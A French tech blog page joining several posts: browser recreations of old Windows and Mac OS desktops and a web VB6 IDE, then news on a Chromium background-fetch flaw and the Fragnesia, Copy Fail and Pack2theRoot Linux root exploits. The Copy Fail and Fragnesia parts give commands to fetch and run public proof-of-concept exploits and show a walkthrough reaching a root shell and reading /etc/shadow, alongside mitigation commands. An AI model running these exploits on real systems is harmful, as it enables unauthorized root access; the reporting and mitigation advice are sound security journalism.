Il a entièrement recodé 8 vieux OS en HTML + un VB6 qui sort des .exe.

Wiesław Šoltés , un développeur open source spécialiste de .NET et d'Avalonia, a publié d'un coup sur son Github, plusieurs reconstitutions de Windows 3.1, 95, 98, Me, 2000, XP, Vista et même Mac OS 9 directement utilisables dans le navigateur ! Vous cliquez sur le lien, la page se charge en moins de deux secondes, et hop, vous voilà devant le Program Manager, le menu Démarrer ou le Finder.

Les huit bureaux au démarrage : Windows 3.1, 95, 98 et Me en haut, 2000, XP, Vista et Mac OS 9 en bas

Et ce ne sont pas des coquilles vides comme on le voit parfois mais de vrais OS complets. Le Windows 3.1 compte 28 applications rangées dans les groupes d'origine du Program Manager, XP en a 56, et Windows Me monte à 60 app en comptant les panneaux de configuration. Donc si vous n'avez jamais connu ces machines en vrai parce que vous êtes un.e petit.e jeune, c'est l'occasion de tripoter vous-même ce que vos aînés vous racontent depuis des années.

Le Démineur de Windows 3.1, ouvert par-dessus les groupes du Program Manager

Toutes les applis d'un même bureau partagent en plus un disque virtuel. Ainsi, sous Windows 95, un document enregistré dans Notepad apparaîtra dans l'Explorer tout comme dans l'invite MS-DOS, et l'interpréteur de commandes gère les redirections et les jokers (les *) sans soucis.

Voici par exemple le début d'une petite séquence que propose le README, à taper dans une invite de commande MS-DOS pour créer un fichier :

CD "C:\My Documents"
ECHO Hello from DOS>hello.txt
TYPE hello.txt
DIR /B *.txt

L'invite MS-DOS de Windows 95 après la séquence ci-dessus : hello.txt est créé, lu puis listé

Côté jeux, XP propose le Spider Solitaire, une Dame de pique contre trois adversaires pilotés par l'ordinateur et un flipper dont le tableau original, s'inspire de Space Cadet. Vista, quant à lui, ressort Chess Titans, Mahjong Titans, Purble Place et InkBall avec ses gadgets sur le côté, et Mac OS 9 a son Finder spatial, ses 33 tableaux de bord et sa Graphing Calculator.

Le flipper de Windows XP, une table originale inspirée de Space Cadet

Chess Titans sous Vista, avec l'horloge, le diaporama et le calendrier en gadgets

Mac OS 9 et sa Graphing Calculator, qui trace ici y = sin(x)

Maintenant, ce qui m'a intrigué, c'est comment ça peut démarrer aussi vite ???

Eh bien tout simplement parce que rien n'est émulé ! Par exemple, un émulateur comme v86 , dont je vous parlais en 2022, traduit à la volée le code machine x86 en WebAssembly pour faire tourner Windows lui-même dans le browser. Mais ici, il n'y a ni noyau Windows ni processeur virtuel, car chaque fenêtre, chaque menu et chaque application ont été réécrits en HTML, CSS et modules JavaScript. Les fenêtres sont donc des éléments de page web ordinaires, que le navigateur affiche comme n'importe quel site.

Le code, lui, est volontairement dépouillé, avec par exemple Windows 3.1 qui n'a besoin d'aucun framework ni d'aucun bundler, ou encore le bureau de Windows 95 qui s'affiche via un simple python3 -m http.server.

Seuls le fond d'écran, les économiseurs et certaines opérations de dessin passent par le GPU en WebGPU, avec un repli sur WebGL2 puis sur Canvas 2D si votre machine ne suit pas. Et sur Windows 3.1 comme sur Mac OS 9, l'image ne se redessine que quand quelque chose change, donc un bureau au repos ne relance aucun rendu au niveau GPU.

Pour le poids, pareil, c'est super léger. Cache désactivé, chaque "OS" charge très peu de data : 183 Ko pour Windows 95, 180 Ko pour Mac OS 9 et 306 Ko pour Windows 2000. Et XP et Vista montent à 4,5 et 2,5 Mo. À titre de comparaison, DrawingSpace , un éditeur de diagrammes façon Visio du même auteur, écrit en C# et compilé en WebAssembly avec Uno Platform, en réclame 17 Mo.

DrawingSpace, l'éditeur de diagrammes du même auteur, écrit en C# et compilé en WebAssembly

Le revers de la médaille, vous l'aurez compris, c'est que vous n'avez pas Windows sous la main, mais sa reconstitution. Aucun programme d'origine ne s'exécute, et l'équivalence au pixel près n'a pas été établie. Pour montrer à quoi ressemblait un bureau à quelqu'un qui ne l'a pas connu, ou pour choper un peu de code afin de développer votre propre bureau Windows HTML pour y mettre votre site web, c'est parfait. Mais pour relancer un logiciel d'époque tel qu'il était, faudra passer par v86, par Infinite Mac pour Mac OS 9, ou encore par RetroTick , qui exécute les vrais .exe Windows et DOS.

Mais le plus beau morceau de tout ce que le garçon nous a sorti, c'est je trouve, VB6 Studio Web , publié le même jour. C'est un Visual Basic 6 dans un onglet, avec sa boîte à outils, sa fenêtre Properties, son concepteur de formulaires et un débogueur pas à pas. Vous appuyez sur F5 et le projet d'exemple (une saisie de commandes shopping) se lance aussitôt. Et le code VB n'est pas confié à un eval JavaScript, mais réellement exécuté par un compilateur et une machine virtuelle maison, avec 37 types de contrôles différents dispos.

VB6 Studio Web après un F5 : le projet d'exemple Order Entry tourne dans l'IDE

Ouvrez ensuite l'exemple Calculator par File, New Project..., puis lancez File, Make Calculator.html, et votre programme deviendra une page HTML unique qui embarquera son propre runtime. Sur l'exemple Calculator, ça m'a donné un fichier de 1,9 Mo qui s'ouvre directement depuis le disque, sans l'IDE, et qui répond bien 42 quand je lui demande de faire un 6x7 (ouais, six-seven, on soutient la cause lycéenne ici !).

Pour ceux qui ont des archives, il peut aussi ouvrir les projets .vbp et .vbg d'époque, depuis des fichiers, un dossier ou un ZIP, et il embarque même un agent de code qui pilote l'IDE avec votre propre clé OpenAI, Anthropic ou Gemini.

L'entrée voisine, "Make Calculator.exe" (Win32 AOT), va encore plus loin puisqu'un éditeur de liens PE32 et un générateur de code x86 écrits en JavaScript y fabriquent un exécutable Windows natif, sans quitter le navigateur.

Chez moi, après compilation, j'ai obtenu un fichier de 34 ko que la commande file identifie comme un véritable exécutable PE32 pour Windows. Je ne l'ai pas lancé sous un vrai Windows, mais ça devrait normalement se lancer vu que c'est assez basique comme code.

Le projet Calculator après Make Calculator.exe : la barre d'état annonce 34304 octets, code x86, contrôles natifs et GDI, sans extraction

La même calculatrice exportée en un seul fichier HTML, ouverte hors de l'IDE : 7 × 6 = 42

Bref, le mec a fait des trucs de zinzin, à se demander comment un développeur peut-il sortir autant de choses à lui tout seul ?

Probablement grâce à l'IA, puisque les projets contiennent pour la plupart un fichier .openai/hosting.json mais peu importe, même si c'est vibe codé, c'est quand même un gros boulot et la qualité est au rendez-vous.

Voilà, si vous voulez tester, tout se lance sans rien installer, depuis les dépôts Windows 3.1 , 95 , 98 , Me , 2000 , XP , Vista et Mac OS 9

Vos fichiers créés dans ces "OS" resteront bien sûr dans le navigateur dans un IndexedDB, donc si vous videz les données du site ou si vous changez de navigateur, votre ordinateur virtuel repartira de zéro...

Sous Windows 95, l'outil Backup exportera le disque en JSON donc il y a quand même moyen de faire un petit export si ça vous amuse et bonne nouvelle, son VB6 Studio Web est sous licence MIT, donc si vous avez encore un vieux projet VB6 qui dort sur un disque dur, vous savez maintenant où aller pour tenter de le rouvrir !

Chromium - Google publie l'exploit d'une faille vieille de 2 ans et demi

Bon, alors là, Google a fait encore trèèèès fort.

Mercredi matin, la firme de Mountain View a carrément publié sur son propre bug tracker Chromium le code d'exploitation d'une faille... qui n'est toujours pas corrigée ! Et pas une petite vulnérabilité oubliée dans un coin, hein, mais une vraie faille de la mort qui tue que la chercheuse indépendante Lyra Rebane leur avait remontée gentiment et en privé . Ça fait 29 mois (2 ans et demi, les matheux ^^) et elle attend toujours un patch !

Le truc vise la Browser Fetch API, un mécanisme qui permet à un site de télécharger de gros fichiers en arrière-plan, genre une longue vidéo. Sauf qu'en la détournant, le code ouvre un service worker qui reste actif en permanence. Du coup, un site malveillant que vous visitez peut glisser un bout de JavaScript qui transforme votre navigateur en relais, tout cela à votre insu.

Parfait donc pour devenir un proxy anonyme pour des inconnus, un nœud de botnet pour des attaques DDoS, ou se faire surveiller quand on surfe sur le net... Et le plus vicelard, c'est que la connexion se rouvre ou reste ouverte même après avoir redémarré le navigateur, voire la machine entière.

Côté victimes, on parle de Chrome, de Microsoft Edge et de quasiment tous les navigateurs basés sur Chromium. Et que vous soyez sur Windows, macOS ou Linux, le bug s'en moque royalement. Rebane a confirmé que Brave, Opera, Vivaldi et Arc sont vulnérables eux aussi.

Bien sûr, Firefox et Safari, eux, passent clairement au travers, parce qu'ils ne supportent pas ce fameux téléchargement en arrière-plan. Bref, encore une fois, ne pas suivre le troupeau de mouton team-Chromium, ça paye !! Si vous cherchiez une raison de plus de larguer Google , la voilà servie sur un plateau.

Perso, ce qui me sidère, c'est que la faille a été classée S1, le deuxième niveau de gravité le plus élevé chez Google et il ne s'est toujours rien passé 29 mois après. C'est ouf quand même... Le post sur le tracker Chromium a bien été supprimé mais on le trouve toujours sur quelques archives / miroirs...

Après l'impact de cette faille, reste quand même limité car elle ne franchit aucune frontière... par exemple, elle ne donne pas accès à vos mails ni au reste de votre ordinateur, mais juste à ce qu'un navigateur sait déjà faire (ce qui est déjà énorme !!). Mais elle pourrait permettre à des cybercriminels de se constituer une flotte de milliers, voire de millions de navigateurs détournés, et le jour où une autre faille tombe, vous avez déjà l'armée prête à dégainer !! La bombe est là, il manque juste la mèche en fait !

Et pour se protéger ?

Bah franchement, pas grand-chose à faire côté utilisateur tant qu'il n'y a pas de patch. Si vous voulez mon avis bancal, le seul signal visible que vous pouvez guetter, c'est un menu de téléchargement qui s'ouvre tout seul sans raison, donc méfiez-vous donc si ça arrive. Maintenant si le sujet vous angoisse vraiment, basculer sur un navigateur pour les adultes ^^, genre Firefox ou Safari règlera la question d'un coup !

Faut pas oublier que Google passe son temps à pointer du doigt les éditeurs trop lents à patcher, alors j'comprends vraiment pas comment ils ont pu merder à ce point.

Source

Fragnesia - Une nouvelle faille Linux dans la lignée de Dirty Frag

Bon, accrochez vous les amis, car ça enchaine sec sur le kernel Linux en ce moment... Le chercheur William Bowling de l'équipe V12 security vient de lâcher Fragnesia (CVE-2026-46300, CVSS 7.8), un nouvel exploit kernel Linux qui permet d'obtenir un accès root sur toutes les distros majeures, et ce, 8 jours seulement après le patch de Dirty Frag.

Et la mauvaise nouvelle, en fait, c'est que Fragnesia tape dans la même surface d'attaque que Dirty Frag , mais via un bug logique différent qui n'est pas fixé par le patch initial. Donc si vous aviez sagement mis à jour votre noyau le 8 mai dernier en pensant être tranquille, hé bah désolé, vous êtes toujours à poil !

La lignée "Dirty" continue donc tout simplement de s'allonger... Dirty COW en 2016, Dirty Pipe en 2022, Copy Fail le 1er mai 2026, Dirty Frag le 8 mai, et maintenant Fragnesia le 14 mai. Quatre LPE (local privilege escalation) kernel Linux en deux semaines, c'est un record je crois !

Alors comment ça marche ?

Le bug se planque dans la partie du kernel qui gère le chiffrement réseau IPsec. C'est le truc qu'on utilise pour faire du VPN d'entreprise et l'attaque détourne le moteur de chiffrement pour qu'il écrive là où il ne devrait surtout pas écrire.

Le déroulé ensuite est assez simple à comprendre. Il prend un fichier sensible déjà ouvert en lecture (genre /usr/bin/su, le programme qui fait passer en root), il le balance dans une connexion réseau, et il dit au kernel "tiens, chiffre-moi tout ça en IPsec". Le kernel obéit gentiment, sauf qu'au lieu d'envoyer le résultat chiffré sur le réseau, il vient écraser la version du fichier qui est en mémoire avec les octets chiffrés. Du coup /usr/bin/su contient maintenant du code choisi par l'attaquant. Suffit ensuite de taper su pour devenir root.

Et là c'est le drame !

Le pire, c'est qu'il n'y a aucun "tirage au sort" dans tout ça. Pas besoin de gagner une condition de course une fois sur mille comme à l'époque de Dirty COW. Là, c'est 100% reproductible à chaque exécution, ça marche du premier coup.

La cause profonde, c'est une fonction kernel qui assemble des morceaux de paquets réseau et qui oublie au passage que certains morceaux pointent vers de la mémoire qui ne lui appartient pas vraiment (genre la mémoire d'un fichier qu'un autre process est en train de lire). Bowling appelle ça la "famille Dirty Frag" parce que c'est exactement le même genre d'amnésie qui avait permis Dirty Frag la semaine dernière.

Et le patch du 8 mai n'a pas suffi parce qu'il a juste rebouché un trou particulier, sans toucher à la fonction d'origine. D'où la sortie immédiate du PoC le 14 mai, parce qu'autant prévenir tout le monde, plutôt que de laisser un 0-day silencieux circuler dans les milieux moins recommandables d'Internet.

Testez sur votre Linux

Si vous voulez reproduire ça dans un environnement isolé (genre une VM Ubuntu 24.04 avec un kernel 6.8.0-111-generic), c'est simple :

git clone https://github.com/v12-security/pocs.git
cd pocs/fragnesia
gcc -o exp fragnesia.c && ./exp

sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0

Votre navigateur ne supporte pas la lecture de vidéos HTML5. Voici un
<a href="/fragnesia/fragnesia-1.mp4">lien vers la vidéo</a>.

echo 3 > /proc/sys/vm/drop_caches

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/fragnesia.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

Copy Fail - Une IA trouve la faille Linux que personne n'a vue

732 octets, c'est tout ce qu'il faut pour passer de simple utilisateur à root sur n'importe quel Linux non patché compilé depuis 2017, soit la quasi-totalité des kernels. Cette faille béante s'appelle Copy Fail (CVE-2026-31431), elle a été dénichée par Taeyang Lee de chez Theori avec leur outil d'audit IA Xint Code. Et comme elle vient d'être divulguée hier sur la liste oss-security et qu'en plus, ils ont fait un joli petit site qui explique tout comme ça fonctionne, je vais essayer de tout vous expliquer !

La faille elle-même est moche mais surtout, c'est un agent IA qui l'a sorti en une heure environ. C'est un bug que la communauté kernel a laissé passer durant près de 9 ans et qui se trouve dans le sous-système crypto.

En gros, le noyau Linux expose une interface réseau spéciale pour accéder aux opérations de chiffrement depuis un programme normal, sans droits particuliers.

Et depuis 2017, une optimisation dans ce mécanisme a créé une situation bizarre : un fichier en lecture seule sur le disque, disons un binaire système, peut se retrouver dans la zone de sortie d'une opération de chiffrement .C'est la zone que votre programme a le droit de modifier.

Il suffit alors d'enchaîner un appel système particulier (splice) pour écrire 4 octets au bon endroit, on répète ça en boucle, et on modifie progressivement un binaire système de votre choix comme par exemple /usr/bin/su.

Et voilà, vous êtes root !

Maintenant, si vous administrez un serveur, le plus propre reste de patcher le kernel via votre distro. En attendant le patch, la mitigation dépend de comment votre distro a compilé le module algif_aead, et là il y a deux situations bien distinctes.

Cas 1 - Distros où le module est chargeable dynamiquement (Ubuntu, Debian, Arch, etc.). Vous le bloquez avec :

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

Cas 2 - Distros entreprise où le module est compilé en dur dans le kernel (RHEL, Rocky Linux, AlmaLinux, Oracle Linux, SUSE Enterprise...). Là, attention au piège : lsmod | grep algif_aead ne renvoie rien, mais ça ne signifie PAS que c'est désactivé. Le code est embarqué directement dans le vmlinuz, donc rmmod et la blacklist via /etc/modprobe.d/ sont sans effet (vous aurez "Module algif_aead is builtin"). La vraie mitigation passe par la kernel command line au boot :

sudo grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
sudo reboot

Ça empêche l'init_call du module de tourner au démarrage. Vous vérifiez ensuite avec cat /proc/cmdline que le paramètre est bien pris en compte. Si vous voulez aller encore plus loin, il est aussi possible de bloquer toute la surface d'attaque AF_ALG via seccomp au niveau de chaque service exposé.

Le PoC est également trouvable. C'est un script Python (Python 3.10+ obligatoire pour os.splice) capable de faire tomber Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 et SUSE 16 avec exactement le même code.

Dans une première version j'avais écrit que SELinux en mode enforcing par défaut bloquait l'exploit sur Fedora et RHEL. C'est inexact, et je remercie le lecteur qui m'a fait corriger. La policy SELinux par défaut de Fedora et RHEL autorise les contextes utilisateurs à créer des sockets AF_ALG, et l'exploit écrit directement dans le page cache kernel sans déclencher les hooks LSM file-based.

Donc SELinux enforcing ne bloque pas Copy Fail tel que livré par défaut. Le seul OS immune via SELinux est GrapheneOS , qui durcit la policy AOSP en réservant AF_ALG au seul process dumpstate. Ceux qui veulent tester sans Python peuvent aussi regarder du côté du port C indépendant , un exécutable statique de 1,7 Ko sans dépendance externe.

Les comparaisons avec Dirty COW et Dirty Pipe pleuvent, sauf que là où Dirty COW exigeait du timing précis et où Dirty Pipe demandait une manipulation spécifique du pipe-buffer, Copy Fail tape tout pareil sur 4 distribs majeures sans rien avoir à ajuster.

Et côté sévérité officielle, c'est du 7.8/10 donc c'est assez élevé !

Pour trouver cette faille, Xint Code, l'agent IA de Theori, n'a pas tâtonné à l'aveugle. Taeyang Lee lui a surtout glissé un prompt très précis qui lui demandait d'examiner tous les chemins accessibles depuis un programme utilisateur dans le sous-système crypto, en insistant sur le fait que splice() peut faire atterrir des fichiers en lecture seule dans des zones modifiables.

Une heure plus tard, Copy Fail sortait comme trouvaille critique ! Theori précise que le même scan a aussi remonté d'autres vulnérabilités encore sous embargo. Brrrrrr.... Tremblez simples mortel !

Ouais donc ouais, l'IA n'a pas remplacé l'expertise humaine, mais elle l'a démultipliée. Car Lee savait où regarder, et Xint Code a juste fait ce qu'il aurait fait mais en plus rapide ! C'est pas magique donc... Mais ça fait gagner du temps !

L'exploit est dispo ici sur le GitHub de Theori et côté impact, c'est costaud sur les hôtes multi-users et tout ce qui est environnements partagés. Je pense aux conteneurs Docker, aux clusters Kubernetes, aux pipelines CI/CD...etc.

Après si y'a que vous qui avez accès à votre serveur, c'est un peu moins critique car il faut forcément un accès local pour l'exploiter. C'est la même logique de chaînage que BlueHammer côté Windows , sauf qu'ici la marche jusqu'à root est encore plus petite.

Comment tester le PoC sur une machine de test ?

Si vous avez une VM sous Ubuntu 22.04 non patchée (kernel 5.15.x), voilà exactement ce qui se passe, testé en conditions réelles. Ne faites ça que sur une machine dont vous êtes propriétaire et où vous avez l'autorisation explicite.

Étape 1 - Cloner le PoC et vérifier le hash

manu@ubuntu:~$ git clone https://github.com/theori-io/copy-fail-CVE-2026-31431
Cloning into 'copy-fail-CVE-2026-31431'...
remote: Enumerating objects: 9, done.
Resolving deltas: 100% (1/1), done.

manu@ubuntu:~$ cd copy-fail-CVE-2026-31431 && sha256sum copy_fail_exp.py
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 copy_fail_exp.py

manu@ubuntu:~/copy-fail-CVE-2026-31431$ id
uid=1000(manu) gid=1000(manu) groups=1000(manu) ← utilisateur normal, pas root

Theori ne publie pas de hash officiel dans leur README, mais le SHA256 ci-dessus est celui du PoC tel qu'il est actuellement sur le repo. Si votre hash diffère, ne lancez pas le script.

Étape 2 - Lancer l'exploit

manu@ubuntu:~/copy-fail-CVE-2026-31431$ python3 copy_fail_exp.py

# L'exploit écrit 4 octets à la fois dans le page cache de /usr/bin/su
# via l'interface AF_ALG du kernel (authencesn + splice)
# Aucune race condition, aucun timing précis requis.

Mot de passe :

Le script utilise AF_ALG (l'interface crypto du kernel) combiné à splice() pour écrire un shellcode de 160 octets directement dans le page cache de /usr/bin/su, sans jamais toucher le disque. Il remplace ensuite le binaire patché pour exécuter un shell root.

Étape 3 - Shell root obtenu

root@ubuntu:~# id
uid=0(root) gid=1000(manu) groups=1000(manu)

root@ubuntu:~# whoami
root

root@ubuntu:~# uname -r
5.15.0-143-generic

# Kernel 5.15 vulnérable confirmé - Ubuntu 22.04 non patché

Notez le uid=0(root) alors qu'on est parti d'un uid=1000 sans aucun mot de passe, aucune race condition, aucun timing à ajuster. Brutal.

Étape 4 - Accès aux fichiers root-only

root@ubuntu:~# cat /etc/shadow | head -3
root:*:20271:0:99999:7:::
daemon:*:20271:0:99999:7:::
bin:*:20271:0:99999:7:::

root@ubuntu:~# cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bash

/etc/shadow est normalement illisible pour un utilisateur standard. Là, avec notre PoC en Python et zéro interaction supplémentaire, on y accède comme si de rien n'était. Sur un serveur multi-utilisateurs, c'est game over pour tous les comptes présents.

Sur un système patché, le script échoue proprement à l'étape 2 avec un message d'erreur. C'est aussi simple que ça pour vérifier votre exposition.

Bref, mettez à jour vos kernels ou désactivez le module fautif rapidement !

Source

Pack2theRoot - 12 ans d'accès root offert dans PackageKit

Si vous tournez sur Ubuntu, Debian, Fedora ou RockyLinux, sachez que votre démon PackageKit a passé presque 12 ans à laisser une porte ouverte vers votre compte root. La Deutsche Telekom Red Team vient en effet de publier Pack2theRoot (CVE-2026-41651), une faille notée 8.8/10 qui permet à n'importe quel utilisateur local de devenir root sans mot de passe.

Pour corriger le soucis, mettez à jour vers PackageKit 1.3.5 ou le backport de votre distro. Pour vérifier votre version, c'est dpkg -l | grep -i packagekit sous Debian/Ubuntu, ou rpm -qa | grep -i packagekit côté Fedora et Rocky. Si vous êtes en 1.3.4 ou en dessous, considérez la machine comme exploitable.

Le bug est une race condition classique. En fait PackageKit vérifie vos droits, valide la transaction, mais utilise des données qui ont eu le temps de changer entre les deux. Un appel pkcon install bien chronométré et n'importe quel paquet s'installe en root, sans prompt Polkit . La liste des distros confirmées vulnérables couvre Ubuntu 18.04 à 26.04, Debian Trixie, RockyLinux 10.1, Fedora 43 et tout RHEL avec Cockpit.

Le détail marrant encore une fois c'est la méthode de découverte. La Telekom Red Team a tout simplement dirigé Claude Opus d' Anthropic vers la base de code de PackageKit, et c'est cette session d'audit assistée par IA qui a sorti la vuln. Les LLM commencent donc à trouver des bugs subtils que les audits humains ont laissé passer pendant plus d'une décennie. Tant mieux, ça va faire grimper le niveau de sécurité de nombreux projets !

Cette faille ancienne me rappelle BitPixie et son contournement de BitLocker resté en sommeil durant 20 ans. Le pattern est toujours le même, à savoir un composant système installé partout, qui cache un bug tout bête depuis siiii longtemps que plus personne ne l'audite avec un œil neuf.

Bref, merci Claude ^^

Source